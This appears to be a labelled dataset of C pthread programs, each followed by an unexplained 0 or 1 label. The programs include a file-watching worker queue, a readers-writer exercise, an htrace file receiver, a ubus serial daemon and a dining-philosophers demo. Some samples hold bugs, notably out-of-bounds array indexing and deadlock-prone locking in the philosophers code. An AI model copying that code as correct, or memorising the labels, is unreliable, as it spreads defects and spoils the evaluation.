getopt(argc, argv, "v+n:d:")) != -1) { switch(opt) { case 'v': verbose++; break; case 'n': nthread=atoi(optarg); break; case 'd': dir=strdup(optarg); break; default: usage(argv[0]); } } if (optind < argc) usage(argv[0]); struct sigaction sa; sa.sa_handler=sighandler; sa.sa_flags=0; sigfillset(&sa.sa_mask); for(n=0; n < sizeof(sigs)/sizeof(*sigs); n++) sigaction(sigs[n], &sa, 0); sigset_t ss; sigfillset(&ss); for(n=0; n < sizeof(sigs)/sizeof(*sigs); n++) sigdelset(&ss, sigs[n]); pthread_sigmask(SIG_SETMASK, &ss, 0); th = malloc(sizeof(pthread_t)*nthread); for(i=0; i < nthread; i++) pthread_create(&th[i],0,worker,(void*)i); fd = inotify_init(); wd = inotify_add_watch(fd,dir,IN_CLOSE); int signo = sigsetjmp(jmp,1); if (signo) goto done; while ( (f=get_file(fd,&nx))) { w = malloc(sizeof(*w)); w->file=strdup(f); w->next=0; pthread_mutex_lock(&mtx); if (tail) { tail->next=w; tail=w;} else head=tail=w; if (verbose) fprintf(stderr,"queued %s\\n", w->file); pthread_mutex_unlock(&mtx); pthread_cond_signal(&cond); } done: shutdown=1; pthread_cond_broadcast(&cond); for(i=0; i < nthread; i++) { pthread_join(th[i],&res); fprintf(stderr,"thread %d %sed\\n",i,res==PTHREAD_CANCELED?"cancel":"exit"); } close(fd); }
0
#include <pthread.h> int somme_alea; pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; void* thread_rand(void * arg){ int random_val = (int) ((float) 10 * rand() /(32767 + 1.0)); printf("Mon num d'ordre : %d \\t mon tid %d \\t valeur generee : %d\\n", (*(int *)arg), (int)pthread_self(), random_val); pthread_mutex_lock(&mutex); somme_alea += random_val; pthread_mutex_unlock(&mutex); pthread_exit((void *)0); } int main(int argc, char * argv[]){ int i, p, status; int tab[5]; pthread_t tid[5]; somme_alea = 0; srand(time(0)); for(i=0; i<5; i++){ tab[i]=i; if((p=pthread_create(&(tid[i]), 0, thread_rand, &tab[i])) != 0){ perror("pthread_create \\n"); exit(1); } } for(i=0; i<5; i++){ if(pthread_join(tid[i],(void**) &status) != 0){ perror("pthread_join"); exit(1); } } printf("La somme des valeurs generees par les threads est : %d \\n", somme_alea); return 0; }
1
#include <pthread.h> int readerCount; pthread_mutex_t readerCountMutex; int isWriterWaiting; pthread_cond_t readerWait; pthread_mutex_t bufferMutex; int sharedBuffer; void* writerCode(void* a) { struct timespec ts; ts.tv_sec = 0; ts.tv_nsec = 25000; int count; for (count = 0; count < 200; count++) { if (pthread_mutex_trylock(&bufferMutex)) { isWriterWaiting = 1; pthread_mutex_lock(&bufferMutex); } sharedBuffer = sharedBuffer + 1; printf("Writer is on iteration %d. The new buffer value is %d. The readerCount is %d\\n", count + 1, sharedBuffer, readerCount); isWriterWaiting = 0; pthread_cond_broadcast(&readerWait); pthread_mutex_unlock(&bufferMutex); } pthread_exit(0); } void* readerCode(void* a) { int argumentValue = *((int *) a) + 1; struct timespec ts; ts.tv_sec = 0; ts.tv_nsec = 25000; int count; for (count = 0; count < 200; count++) { pthread_mutex_lock(&readerCountMutex); while (isWriterWaiting) pthread_cond_wait(&readerWait, &readerCountMutex); if (readerCount == 0) { pthread_mutex_lock(&bufferMutex); } readerCount = readerCount + 1; pthread_mutex_unlock(&readerCountMutex); printf("Reader %d is on iteration %d. The current buffer value is %d. The readerCount is %d.\\n", argumentValue, count + 1, sharedBuffer, readerCount); pthread_mutex_lock(&readerCountMutex); readerCount = readerCount - 1; if (readerCount == 0) { pthread_mutex_unlock(&bufferMutex); } pthread_mutex_unlock(&readerCountMutex); } pthread_exit(0); } int main() { sharedBuffer = 0; readerCount = 0; pthread_mutex_init(&readerCountMutex, 0); pthread_cond_init(&readerWait, 0); pthread_mutex_init(&bufferMutex, 0); pthread_t writerThread; pthread_create(&writerThread, 0, writerCode, 0); pthread_t readerThread[5]; int count; for (count = 0; count < 5; count++) { int *reader = (int *) malloc(sizeof(int *)); *reader = count; pthread_create(&readerThread[count], 0, readerCode, (void *) reader); } pthread_join(writerThread, 0); for (count = 0; count < 5; count++) pthread_join(readerThread[count], 0); pthread_mutex_destroy(&readerCountMutex); pthread_cond_destroy(&readerWait); pthread_mutex_destroy(&bufferMutex); }
0
#include <pthread.h> struct local_file_rcv { struct htrace_rcv base; struct htracer *tracer; FILE *fp; char *path; pthread_mutex_t lock; }; static void local_file_rcv_free(struct htrace_rcv *r); static struct htrace_rcv *local_file_rcv_create(struct htracer *tracer, const struct htrace_conf *conf) { struct local_file_rcv *rcv; const char *path; int ret; path = htrace_conf_get(conf, HTRACE_LOCAL_FILE_RCV_PATH_KEY); if (!path) { htrace_log(tracer->lg, "local_file_rcv_create: no value found for %s. " "You must set this configuration key to the path you wish " "to write spans to.\\n", HTRACE_LOCAL_FILE_RCV_PATH_KEY); return 0; } rcv = calloc(1, sizeof(*rcv)); if (!rcv) { htrace_log(tracer->lg, "local_file_rcv_create: OOM while " "allocating local_file_rcv.\\n"); return 0; } ret = pthread_mutex_init(&rcv->lock, 0); if (ret) { htrace_log(tracer->lg, "local_file_rcv_create: failed to " "create mutex while setting up local_file_rcv: " "error %d (%s)\\n", ret, terror(ret)); free(rcv); return 0; } rcv->base.ty = &g_local_file_rcv_ty; rcv->path = strdup(path); if (!rcv->path) { local_file_rcv_free((struct htrace_rcv*)rcv); return 0; } rcv->tracer = tracer; rcv->fp = fopen(path, "a"); if (!rcv->fp) { ret = errno; htrace_log(tracer->lg, "local_file_rcv_create: failed to " "open '%s' for write: error %d (%s)\\n", path, ret, terror(ret)); local_file_rcv_free((struct htrace_rcv*)rcv); } htrace_log(tracer->lg, "Initialized local_file receiver with path=%s.\\n", rcv->path); return (struct htrace_rcv*)rcv; } static void local_file_rcv_add_span(struct htrace_rcv *r, struct htrace_span *span) { int len, res, err; char *buf; struct local_file_rcv *rcv = (struct local_file_rcv *)r; span->trid = rcv->tracer->trid; len = span_json_size(span); buf = malloc(len + 1); if (!buf) { span->trid = 0; htrace_log(rcv->tracer->lg, "local_file_rcv_add_span: OOM\\n"); return; } span_json_sprintf(span, len, buf); span->trid = 0; buf[len - 1] = '\\n'; buf[len] = '\\0'; pthread_mutex_lock(&rcv->lock); res = fwrite(buf, 1, len, rcv->fp); err = errno; pthread_mutex_unlock(&rcv->lock); if (res < len) { htrace_log(rcv->tracer->lg, "local_file_rcv_add_span(%s): fwrite error: " "%d (%s)\\n", rcv->path, err, terror(err)); } free(buf); } static void local_file_rcv_flush(struct htrace_rcv *r) { struct local_file_rcv *rcv = (struct local_file_rcv *)r; if (fflush(rcv->fp) < 0) { int e = errno; htrace_log(rcv->tracer->lg, "local_file_rcv_flush(path=%s): fflush " "error: %s\\n", rcv->path, terror(e)); } } static void local_file_rcv_free(struct htrace_rcv *r) { struct local_file_rcv *rcv = (struct local_file_rcv *)r; int ret; struct htrace_log *lg; if (!rcv) { return; } lg = rcv->tracer->lg; htrace_log(lg, "Shutting down local_file receiver with path=%s\\n", rcv->path); ret = pthread_mutex_destroy(&rcv->lock); if (ret) { htrace_log(lg, "local_file_rcv_free: pthread_mutex_destroy " "error %d: %s\\n", ret, terror(ret)); } ret = fclose(rcv->fp); if (ret) { htrace_log(lg, "local_file_rcv_free: fclose error " "%d: %s\\n", ret, terror(ret)); } free(rcv->path); free(rcv); } const struct htrace_rcv_ty g_local_file_rcv_ty = { "local.file", local_file_rcv_create, local_file_rcv_add_span, local_file_rcv_flush, local_file_rcv_free, };
1
#include <pthread.h> static struct ubus_context *ubus_ctx = 0; static const char *ubus_sock; static void seriald_ubus_add_fd(void); static void seriald_ubus_connection_lost_cb(struct ubus_context *ctx); static void seriald_ubus_reconnect_timer(struct uloop_timeout *timeout); static int seriald_send_data(struct ubus_context *ctx, struct ubus_object *obj, struct ubus_request_data *req, const char *method, struct blob_attr *msg); enum { DATA_DATA, __DATA_MAX }; static const struct blobmsg_policy data_policy[__DATA_MAX] = { [DATA_DATA] = { .name = "data", .type = BLOBMSG_TYPE_STRING }, }; static struct ubus_method seriald_object_methods[] = { UBUS_METHOD("send", seriald_send_data, data_policy), }; static struct ubus_object_type seriald_object_type = UBUS_OBJECT_TYPE(ubus_path, seriald_object_methods); static struct ubus_object seriald_object = { .name = ubus_path, .type = &seriald_object_type, .methods = seriald_object_methods, .n_methods = ARRAY_SIZE(seriald_object_methods), }; static int seriald_send_data( struct ubus_context *ctx, struct ubus_object *obj, struct ubus_request_data *req, const char *method, struct blob_attr *msg) { struct blob_attr *tb[__DATA_MAX]; int len; blobmsg_parse(data_policy, __DATA_MAX, tb, blob_data(msg), blob_len(msg)); if (!tb[DATA_DATA]) return UBUS_STATUS_INVALID_ARGUMENT; const char *data = blobmsg_get_string(tb[DATA_DATA]); len = strlen(data); pthread_mutex_lock(&tty_q_mutex); if (tty_q.len + len < TTY_Q_SZ) { memmove(tty_q.buff + tty_q.len, data, len); tty_q.len += len; tty_q.buff[tty_q.len] = '\\n'; ++tty_q.len; eventfd_write(efd_notify_tty, 1); } pthread_mutex_unlock(&tty_q_mutex); return UBUS_STATUS_OK; } static void seriald_ubus_reconnect_timer(struct uloop_timeout *timeout) { static struct uloop_timeout retry = { .cb = seriald_ubus_reconnect_timer, }; int t = 2; if (ubus_reconnect(ubus_ctx, ubus_sock)) { DPRINTF("failed to reconnect, trying again in %d seconds\\n", t); uloop_timeout_set(&retry, t * 1000); return; } DPRINTF("reconnected to ubus, new id: %08x\\n", ubus_ctx->local_id); seriald_ubus_add_fd(); } static void seriald_ubus_connection_lost_cb(struct ubus_context *ctx) { seriald_ubus_reconnect_timer(0); } static void seriald_ubus_add_fd(void) { ubus_add_uloop(ubus_ctx); fcntl(ubus_ctx->sock.fd, F_SETFD, fcntl(ubus_ctx->sock.fd, F_GETFD) | FD_CLOEXEC); } int seriald_ubus_loop_init(const char *sock) { int r; uloop_init(); ubus_sock = sock; ubus_ctx = ubus_connect(sock); if (!ubus_ctx) { DPRINTF("cannot connect to ubus\\n"); return -EIO; } DPRINTF("connected as %08x\\n", ubus_ctx->local_id); ubus_ctx->connection_lost = seriald_ubus_connection_lost_cb; seriald_ubus_add_fd(); r = ubus_add_object(ubus_ctx, &seriald_object); if (r) { DPRINTF("Failed to add object: %s\\n", ubus_strerror(r)); return r; } return 0; } void *seriald_ubus_loop(void *unused) { uloop_run(); return 0; } void seriald_ubus_loop_done(void) { ubus_free(ubus_ctx); } void seriald_ubus_loop_stop(void) { uloop_end(); }
0
#include <pthread.h> int stoj = 0; int minute_vedra = 0; int cakajuci_na_prestavku = 0; pthread_mutex_t mutex_minute_vedra = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t mutex_pocet_cakajucich = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t mutex_turniket = PTHREAD_MUTEX_INITIALIZER; sem_t sem_cakajuci_na_prestavku; void maluj(int id) { printf("%d maluje\\n", id); sleep(2); } void ber(int id) { printf("%d berie farbu\\n", id); pthread_mutex_lock(&mutex_minute_vedra); minute_vedra++; pthread_mutex_unlock(&mutex_minute_vedra); sleep(1); } void oddychuj(int id) { printf("Oddychuje %d\\n", id); sleep(2); } void *maliar( void *ptr ) { int id = (long)ptr; int minute_vedra = 0; int i; while(!stoj) { maluj(id); if(stoj) break; ber(id); minute_vedra++; if(stoj) break; if((minute_vedra % 4) == 0) { pthread_mutex_lock(&mutex_pocet_cakajucich); printf("%d chce ist na prestavku [cakajuci %d]\\n", id, cakajuci_na_prestavku); if(cakajuci_na_prestavku == (3 -1)) { printf("%d je posledny\\n", id); cakajuci_na_prestavku = 0; for(i=0; i<(3 -1);i++) { sem_post(&sem_cakajuci_na_prestavku); pthread_mutex_lock(&mutex_turniket); } pthread_mutex_unlock(&mutex_pocet_cakajucich); } else { cakajuci_na_prestavku++; printf("%d caka na posledneho\\n", id); pthread_mutex_unlock(&mutex_pocet_cakajucich); sem_wait(&sem_cakajuci_na_prestavku); pthread_mutex_unlock(&mutex_turniket); } if(stoj) break; oddychuj(id); } } printf("Maliar %d minul %d vedier\\n", id, minute_vedra); return 0; } int main(void) { long i; sem_init(&sem_cakajuci_na_prestavku, 0, 0); pthread_t maliari[10]; for (i=0;i<10;i++) pthread_create(&maliari[i], 0, &maliar, (void*)i); sleep(30); stoj = 1; for (i=0;i<10;i++) { sem_post(&sem_cakajuci_na_prestavku); } for (i=0;i<10;i++) pthread_join(maliari[i], 0); printf("Dokopi sa minulo %d vedier\\n", minute_vedra); exit(0); }
1
#include <pthread.h> void *func(int n); pthread_t philosopher[5]; pthread_mutex_t chopstick[5]; int main() { int i,k; void *msg; for(i=1;i<=5;i++) { k=pthread_mutex_init(&chopstick[i],0); if(k==-1) { printf("\\n Mutex initialization failed"); exit(1); } } for(i=1;i<=5;i++) { k=pthread_create(&philosopher[i],0,(void *)func,(int *)i); if(k!=0) { printf("\\n Thread creation error \\n"); exit(1); } } for(i=1;i<=5;i++) { k=pthread_join(philosopher[i],&msg); if(k!=0) { printf("\\n Thread join failed \\n"); exit(1); } } for(i=1;i<=5;i++) { k=pthread_mutex_destroy(&chopstick[i]); if(k!=0) { printf("\\n Mutex Destroyed \\n"); exit(1); } } return 0; } void *func(int n) { printf("\\nPhilosopher %d is thinking ",n); pthread_mutex_lock(&chopstick[n]); pthread_mutex_lock(&chopstick[(n+1)%5]); printf("\\nPhilosopher %d is eating ",n); sleep(1); pthread_mutex_unlock(&chopstick[n]); pthread_mutex_unlock(&chopstick[(n+1)%5]); printf("\\nPhilosopher %d Finished eating ",n); }
0